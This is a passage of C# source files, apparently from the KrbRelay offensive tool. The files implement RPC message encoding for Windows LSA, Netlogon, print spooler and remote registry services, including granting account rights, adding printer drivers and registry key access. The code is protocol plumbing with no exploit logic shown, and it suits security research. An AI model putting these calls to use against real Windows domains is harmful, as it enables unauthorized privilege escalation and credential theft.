/KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/Enums/LsaSIDNameUse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.Services 9 | { 10 | public enum LsaSIDNameUse : ushort 11 | { 12 | SidTypeUser = 1, 13 | SidTypeGroup, 14 | SidTypeDomain, 15 | SidTypeAlias, 16 | SidTypeWellKnownGroup, 17 | SidTypeDeletedAccount, 18 | SidTypeInvalid, 19 | SidTypeUnknown, 20 | SidTypeComputer, 21 | SidTypeLabel 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/LsarAddAccountRightsRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary; 2 | using SMBLibrary.Client.Helpers; 3 | using SMBLibrary.RPC; 4 | using SMBLibrary.Services; 5 | 6 | /// 7 | /// LsarAddAccountRights Request (opnum 37) 8 | /// 9 | public class LsarAddAccountRightsRequest : IRPCRequest 10 | { 11 | public LsaHandle handle; 12 | public SID AccountSid; 13 | public _LSAPR_USER_RIGHT_SET UserRights; 14 | 15 | public byte[] GetBytes() 16 | { 17 | NDRWriter writer = new NDRWriter(); 18 | writer.WriteStructure(handle); 19 | writer.WriteStructure(new NDRSID(AccountSid)); 20 | writer.WriteStructure(UserRights); 21 | 22 | return writer.GetBytes(); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/LsarAddAccountRightsResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// LsarAddAccountRights Response (opnum 37) 5 | /// 6 | public class LsarAddAccountRightsResponse 7 | { 8 | public LsarAddAccountRightsResponse(byte[] buffer) 9 | { 10 | NDRParser parser = new NDRParser(buffer); 11 | } 12 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/LsarCloseRequest.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.Client.Helpers; 9 | using SMBLibrary.RPC; 10 | using SMBLibrary.Services; 11 | 12 | /// 13 | /// LsarClose Request (opnum 0) 14 | /// 15 | public class LsarCloseRequest : IRPCRequest 16 | { 17 | public LsaHandle handle; 18 | 19 | public byte[] GetBytes() 20 | { 21 | NDRWriter writer = new NDRWriter(); 22 | writer.WriteStructure(handle); 23 | return writer.GetBytes(); 24 | } 25 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/LsarCloseResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using SMBLibrary.Services; 10 | 11 | /// 12 | /// LsarClose Response (opnum 0) 13 | /// 14 | public class LsarCloseResponse 15 | { 16 | private LsaHandle PolicyHandle; 17 | 18 | public LsarCloseResponse(byte[] buffer) 19 | { 20 | NDRParser parser = new NDRParser(buffer); 21 | PolicyHandle = new LsaHandle(); 22 | parser.ReadStructure(PolicyHandle); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/LsarOpenPolicyResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using SMBLibrary.Services; 10 | 11 | /// 12 | /// LsarOpenPolicy Response (opnum 6) 13 | /// 14 | public class LsarOpenPolicyResponse 15 | { 16 | public LsaHandle PolicyHandle; 17 | 18 | public LsarOpenPolicyResponse(byte[] buffer) 19 | { 20 | NDRParser parser = new NDRParser(buffer); 21 | PolicyHandle = new LsaHandle(); 22 | parser.ReadStructure(PolicyHandle); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/Structures/LsaSIDEnumBuffer.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using System; 10 | 11 | namespace SMBLibrary.Services 12 | { 13 | public class LsaSIDEnumBuffer : INDRStructure 14 | { 15 | public uint Entries; 16 | public LsaSIDArray SIDInfos; 17 | 18 | public void Read(NDRParser parser) 19 | { 20 | throw new NotImplementedException(); 21 | } 22 | 23 | public void Write(NDRWriter writer) 24 | { 25 | writer.BeginStructure(); 26 | writer.WriteUInt32(Entries); 27 | writer.WriteEmbeddedStructureFullPointer(SIDInfos); 28 | writer.EndStructure(); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/NetlogonService/DsrGetDcNameResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using SMBLibrary.Services; 10 | 11 | /// 12 | /// DsrGetDcName Response (opnum 20) 13 | /// 14 | public class DsrGetDcNameResponse 15 | { 16 | public NDRDomainControllerInfo DCInfo; 17 | 18 | public DsrGetDcNameResponse(byte[] buffer) 19 | { 20 | NDRParser parser = new NDRParser(buffer); 21 | 22 | parser.BeginStructure(); 23 | parser.ReadEmbeddedStructureFullPointer(ref DCInfo); 24 | parser.EndStructure(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/NetlogonService/Enums/NetlogonServiceOpName.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.Services 9 | { 10 | public enum NetlogonServiceOpName : ushort 11 | { 12 | DsrGetDcName = 20, 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/Enums/RprnServiceOpName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum RprnServiceOpName : ushort 4 | { 5 | RpcOpenPrinter = 1, 6 | RpcClosePrinter = 29, 7 | RpcEnumPrinterDrivers = 10, 8 | RpcAddPrinterDriverEx = 89, 9 | } 10 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/RpcAddPrinterDriverExRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// RpcAddPrinterDriverEx Request (opnum 89) 7 | /// 8 | public class RpcAddPrinterDriverExRequest : IRPCRequest 9 | { 10 | public string pName; 11 | public DRIVER_CONTAINER pDriverContainer; 12 | public uint dwFileCopyFlags; 13 | 14 | public RpcAddPrinterDriverExRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteTopLevelUnicodeStringPointer(null); 22 | writer.WriteStructure(pDriverContainer); 23 | writer.WriteUInt32(dwFileCopyFlags); 24 | return writer.GetBytes(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/RpcAddPrinterDriverExResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// RpcAddPrinterDriverEx Response (opnum 89) 5 | /// 6 | public class RpcAddPrinterDriverExResponse 7 | { 8 | //public PRINTER_HANDLE pHandle; 9 | 10 | public RpcAddPrinterDriverExResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | 14 | //parser.BeginStructure(); 15 | //pHandle = new PRINTER_HANDLE(); 16 | //parser.ReadStructure(pHandle); 17 | //parser.EndStructure(); 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/RpcClosePrinterRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// RpcClosePrinter Request (opnum 29) 7 | /// 8 | public class RpcClosePrinterRequest : IRPCRequest 9 | { 10 | public PRINTER_HANDLE pHandle; 11 | 12 | public RpcClosePrinterRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteStructure(pHandle); 20 | return writer.GetBytes(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/RpcClosePrinterResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// RpcClosePrinter Response (opnum 029) 6 | /// 7 | public class RpcClosePrinterResponse 8 | { 9 | public PRINTER_HANDLE pHandle; 10 | 11 | public RpcClosePrinterResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | pHandle = new PRINTER_HANDLE(); 17 | parser.ReadStructure(pHandle); 18 | parser.EndStructure(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/RpcOpenPrinterRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// RpcOpenPrinter Request (opnum 01) 7 | /// 8 | public class RpcOpenPrinterRequest : IRPCRequest 9 | { 10 | public string pDatatype; 11 | public DEVMODE_CONTAINER DevModeContainer; 12 | public uint AccessRequired; 13 | 14 | public RpcOpenPrinterRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteTopLevelUnicodeStringPointer(null); 22 | writer.WriteTopLevelUnicodeStringPointer(pDatatype); 23 | writer.WriteStructure(DevModeContainer); 24 | writer.WriteUInt32(AccessRequired); 25 | return writer.GetBytes(); 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/RpcOpenPrinterResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// RpcOpenPrinter Response (opnum 01) 6 | /// 7 | public class RpcOpenPrinterResponse 8 | { 9 | public PRINTER_HANDLE pHandle; 10 | 11 | public RpcOpenPrinterResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | pHandle = new PRINTER_HANDLE(); 17 | parser.ReadStructure(pHandle); 18 | parser.EndStructure(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/RprnService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | /// 6 | /// [MS-RPRN] 7 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn 8 | /// 9 | public class RprnService : RemoteService 10 | { 11 | public const string ServicePipeName = @"spoolss"; 12 | public static readonly Guid ServiceInterfaceGuid = new Guid("12345678-1234-ABCD-EF00-0123456789AB"); 13 | public const int ServiceVersion = 1; 14 | 15 | public override Guid InterfaceGuid 16 | { 17 | get 18 | { 19 | return ServiceInterfaceGuid; 20 | } 21 | } 22 | 23 | public override string PipeName 24 | { 25 | get 26 | { 27 | return ServicePipeName; 28 | } 29 | } 30 | 31 | public override byte[] GetResponseBytes(ushort opNum, byte[] requestBytes) 32 | { 33 | throw new NotImplementedException(); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/Structures/DEVMODE_CONTAINER.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using System; 3 | 4 | namespace SMBLibrary.Services 5 | { 6 | public class DEVMODE_CONTAINER : INDRStructure 7 | { 8 | public uint cbBuf; 9 | public BYTE pDevMode; 10 | 11 | public void Read(NDRParser parser) 12 | { 13 | throw new NotImplementedException(); 14 | } 15 | 16 | public void Write(NDRWriter writer) 17 | { 18 | writer.BeginStructure(); 19 | writer.WriteUInt32(cbBuf); 20 | writer.WriteEmbeddedStructureFullPointer(pDevMode); 21 | writer.EndStructure(); 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/Structures/DRIVER_CONTAINER.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using System; 3 | 4 | namespace SMBLibrary.Services 5 | { 6 | public class DRIVER_CONTAINER : INDRStructure 7 | { 8 | public uint Level; 9 | public DRIVER_INFO2 info2; 10 | 11 | public void Read(NDRParser parser) 12 | { 13 | throw new NotImplementedException(); 14 | } 15 | 16 | public void Write(NDRWriter writer) 17 | { 18 | writer.WriteUInt32(Level); 19 | switch (Level) 20 | { 21 | case 2: 22 | //writer.BeginStructure(); // DRIVER_INFO2 23 | writer.WriteUInt32(2); 24 | writer.WriteStructure(info2); 25 | //writer.EndStructure(); 26 | break; 27 | 28 | default: 29 | throw new NotImplementedException(); 30 | } 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/Structures/PRINTER_HANDLE.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class PRINTER_HANDLE : INDRStructure 6 | { 7 | //This is a RPC handle ( context_handle ), serialized into 20 bytes 8 | 9 | private uint part1; 10 | private uint part2; 11 | private uint part3; 12 | private uint part4; 13 | private uint part5; 14 | 15 | public void Read(NDRParser parser) 16 | { 17 | part1 = parser.ReadUInt32(); 18 | part2 = parser.ReadUInt32(); 19 | part3 = parser.ReadUInt32(); 20 | part4 = parser.ReadUInt32(); 21 | part5 = parser.ReadUInt32(); 22 | } 23 | 24 | public void Write(NDRWriter writer) 25 | { 26 | writer.WriteUInt32(part1); 27 | writer.WriteUInt32(part2); 28 | writer.WriteUInt32(part3); 29 | writer.WriteUInt32(part4); 30 | writer.WriteUInt32(part5); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/rpcEnumPrinterDriversRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// rpcEnumPrinterDrivers Request (opnum 10) 7 | /// 8 | public class rpcEnumPrinterDriversRequest : IRPCRequest 9 | { 10 | public string pName; 11 | public string pEnvironment; 12 | public uint Level; 13 | public BYTE pDrivers; 14 | public uint cbBuf; 15 | 16 | public rpcEnumPrinterDriversRequest() 17 | { 18 | } 19 | 20 | public byte[] GetBytes() 21 | { 22 | NDRWriter writer = new NDRWriter(); 23 | writer.WriteTopLevelUnicodeStringPointer(null); 24 | writer.WriteTopLevelUnicodeStringPointer(pEnvironment); 25 | writer.WriteUInt32(Level); 26 | writer.WriteEmbeddedStructureFullPointer(pDrivers); 27 | writer.WriteUInt32(cbBuf); 28 | writer.WriteUInt32(cbBuf); 29 | return writer.GetBytes(); 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RprnService/rpcEnumPrinterDriversResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// rpcEnumPrinterDrivers Response (opnum 10) 6 | /// 7 | public class rpcEnumPrinterDriversResponse 8 | { 9 | public BYTE pDrivers; 10 | public uint pcbNeeded; 11 | public uint pcReturned; 12 | 13 | public rpcEnumPrinterDriversResponse(byte[] buffer) 14 | { 15 | NDRParser parser = new NDRParser(buffer); 16 | parser.BeginStructure(); 17 | pDrivers = new BYTE(); 18 | parser.ReadStructure(pDrivers); 19 | pcbNeeded = parser.ReadUInt32(); 20 | pcReturned = parser.ReadUInt32(); 21 | parser.EndStructure(); 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/Enums/REGSAM.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum REGSAM : uint 4 | { 5 | KEY_QUERY_VALUE = 0x00000001, 6 | KEY_SET_VALUE = 0x00000002, 7 | KEY_CREATE_SUB_KEY = 0x00000004, 8 | KEY_ENUMERATE_SUB_KEYS = 0x00000008, 9 | KEY_CREATE_LINK = 0x00000020, 10 | KEY_WOW64_64KEY = 0x00000100, 11 | KEY_WOW64_32KEY = 0x00000200, 12 | MAXIMUM_ALLOWED = 0x02000000, 13 | } 14 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/Enums/RrpServiceOpName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum RrpServiceOpName : ushort 4 | { 5 | OpenLocalMachine = 2, 6 | BaseRegCloseKey = 5, 7 | BaseRegCreateKey = 6, 8 | BaseRegOpenKey = 15, 9 | BaseRegQueryInfoKey = 16, 10 | BaseRegQueryValue = 17, 11 | BaseRegSaveKey = 20, 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/Enums/ValueType.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum RegType : ushort 4 | { 5 | REG_BINARY = 3, 6 | REG_DWORD = 4, 7 | REG_DWORD_LITTLE_ENDIAN = 4, 8 | REG_DWORD_BIG_ENDIAN = 5, 9 | REG_EXPAND_SZ = 2, 10 | REG_LINK = 6, 11 | REG_MULTI_SZ = 7, 12 | REG_NONE = 0, 13 | REG_QWORD = 11, 14 | REG_QWORD_LITTLE_ENDIAN = 11, 15 | REG_SZ = 1, 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/OpenLocalMachineRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// OpenLocalMachine Request (opnum 02) 7 | /// 8 | public class OpenLocalMachineRequest : IRPCRequest 9 | { 10 | public string ServerName; 11 | public REGSAM samDesired; 12 | 13 | public OpenLocalMachineRequest() 14 | { 15 | } 16 | 17 | public byte[] GetBytes() 18 | { 19 | NDRWriter writer = new NDRWriter(); 20 | writer.WriteTopLevelUnicodeStringPointer(null); 21 | writer.WriteUInt32((uint)samDesired); 22 | return writer.GetBytes(); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/OpenLocalMachineResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// OpenLocalMachine Response (opnum 02) 6 | /// 7 | public class OpenLocalMachineResponse 8 | { 9 | public RPC_HKEY phKey; 10 | 11 | public OpenLocalMachineResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | phKey = new RPC_HKEY(); 15 | parser.ReadStructure(phKey); 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/RrpService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | /// 6 | /// [MS-RRP] 7 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78 8 | /// 9 | public class RrpService : RemoteService 10 | { 11 | public const string ServicePipeName = @"winreg"; 12 | public static readonly Guid ServiceInterfaceGuid = new Guid("338CD001-2244-31F1-AAAA-900038001003"); 13 | public const int ServiceVersion = 1; 14 | 15 | public override Guid InterfaceGuid 16 | { 17 | get 18 | { 19 | return ServiceInterfaceGuid; 20 | } 21 | } 22 | 23 | public override string PipeName 24 | { 25 | get 26 | { 27 | return ServicePipeName; 28 | } 29 | } 30 | 31 | public override byte[] GetResponseBytes(ushort opNum, byte[] requestBytes) 32 | { 33 | throw new NotImplementedException(); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/Structures/BYTE.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class BYTE : INDRStructure 6 | { 7 | public byte[] array = new byte[] { }; 8 | public int length; 9 | 10 | public BYTE() 11 | { 12 | array = new byte[] { }; 13 | } 14 | 15 | public BYTE(int size) 16 | { 17 | array = new byte[size]; 18 | } 19 | 20 | public void Read(NDRParser parser) 21 | { 22 | array = parser.ReadBytes(8); 23 | } 24 | 25 | public void Write(NDRWriter writer) 26 | { 27 | writer.WriteBytes(array); 28 | //writer.WriteUInt32((uint)array.Length); 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/Structures/GUID.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class GUID : INDRStructure 6 | { 7 | //This is a Guid handle, serialized into 16 bytes 8 | 9 | private uint part1; 10 | private uint part2; 11 | private uint part3; 12 | private uint part4; 13 | 14 | public void Read(NDRParser parser) 15 | { 16 | part1 = parser.ReadUInt32(); 17 | part2 = parser.ReadUInt32(); 18 | part3 = parser.ReadUInt32(); 19 | part4 = parser.ReadUInt32(); 20 | } 21 | 22 | public void Write(NDRWriter writer) 23 | { 24 | writer.WriteUInt32(part1); 25 | writer.WriteUInt32(part2); 26 | writer.WriteUInt32(part3); 27 | writer.WriteUInt32(part4); 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/Structures/LPDWORD.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class LPDWORD : INDRStructure 6 | { 7 | public uint value; 8 | 9 | public LPDWORD() 10 | { 11 | value = 0; 12 | } 13 | 14 | public LPDWORD(uint size) 15 | { 16 | value = size; 17 | } 18 | 19 | public void Read(NDRParser parser) 20 | { 21 | value = parser.ReadUInt32(); 22 | } 23 | 24 | public void Write(NDRWriter writer) 25 | { 26 | writer.WriteUInt32(value); 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/Structures/RPC_HKEY.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class RPC_HKEY : INDRStructure 6 | { 7 | private uint context_handle_attributes; 8 | private GUID context_handle_uuid; 9 | 10 | public void Read(NDRParser parser) 11 | { 12 | context_handle_attributes = parser.ReadUInt32(); 13 | context_handle_uuid = new GUID(); 14 | parser.ReadStructure(context_handle_uuid); 15 | } 16 | 17 | public void Write(NDRWriter writer) 18 | { 19 | writer.WriteUInt32(context_handle_attributes); 20 | writer.WriteStructure(context_handle_uuid); 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegCloseKeyRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// baseRegCloseKey Request (opnum 05 7 | /// 8 | public class baseRegCloseKeyRequest : IRPCRequest 9 | { 10 | public RPC_HKEY hKey; 11 | 12 | public baseRegCloseKeyRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteStructure(hKey); 20 | return writer.GetBytes(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegCloseKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// baseRegOpenKey Response (opnum 05) 6 | /// 7 | public class baseRegCloseKeyResponse 8 | { 9 | public RPC_HKEY hKey; 10 | 11 | public baseRegCloseKeyResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | hKey = new RPC_HKEY(); 15 | parser.ReadStructure(hKey); 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegCreateKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// baseRegCreateKey Response (opnum 06) 6 | /// 7 | public class baseRegCreateKeyResponse 8 | { 9 | public RPC_HKEY phkResult; 10 | public LPDWORD lpdwDisposition; 11 | 12 | public baseRegCreateKeyResponse(byte[] buffer) 13 | { 14 | NDRParser parser = new NDRParser(buffer); 15 | phkResult = new RPC_HKEY(); 16 | parser.ReadStructure(phkResult); 17 | parser.ReadEmbeddedStructureFullPointer(ref lpdwDisposition); 18 | parser.ReadUInt32(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegOpenKeyRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// baseRegOpenKey Request (opnum 15) 7 | /// 8 | public class baseRegOpenKeyRequest : IRPCRequest 9 | { 10 | public RPC_HKEY hKey; 11 | public RPC_UNICODE_STRING lpSubKey; 12 | public uint dwOptions; 13 | public REGSAM samDesired; 14 | 15 | public baseRegOpenKeyRequest() 16 | { 17 | } 18 | 19 | public byte[] GetBytes() 20 | { 21 | NDRWriter writer = new NDRWriter(); 22 | writer.WriteStructure(hKey); 23 | writer.WriteStructure(lpSubKey); 24 | writer.WriteUInt32((uint)dwOptions); 25 | writer.WriteUInt32((uint)samDesired); 26 | return writer.GetBytes(); 27 | } 28 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegOpenKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// baseRegOpenKey Response (opnum 15) 6 | /// 7 | public class baseRegOpenKeyResponse 8 | { 9 | public RPC_HKEY phkResult; 10 | 11 | public baseRegOpenKeyResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | phkResult = new RPC_HKEY(); 15 | parser.ReadStructure(phkResult); 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegQueryInfoKeyRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// baseRegQueryInfoKey Request (opnum 16) 7 | /// 8 | public class baseRegQueryInfoKeyRequest : IRPCRequest 9 | { 10 | public RPC_HKEY hKey; 11 | public RPC_UNICODE_STRING2 lpClassIn; 12 | 13 | public baseRegQueryInfoKeyRequest() 14 | { 15 | } 16 | 17 | public byte[] GetBytes() 18 | { 19 | NDRWriter writer = new NDRWriter(); 20 | writer.WriteStructure(hKey); 21 | writer.WriteStructure(lpClassIn); 22 | //writer.WriteTopLevelUnicodeStringPointer("\x00"); 23 | //writer.WriteUInt16(0); 24 | //writer.WriteUInt16(0); 25 | //writer.WriteUInt32(0x00020000); 26 | //writer.WriteUInt32(0); 27 | //writer.WriteUInt32(0); 28 | //writer.WriteUInt32(0); 29 | //writer.WriteUInt32(4); 30 | //writer.WriteUInt32(5); 31 | return writer.GetBytes(); 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegQueryValueResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// baseRegQueryValue Response (opnum 17) 6 | /// 7 | public class baseRegQueryValueResponse 8 | { 9 | public LPDWORD lpType; 10 | public BYTE lpData; 11 | public 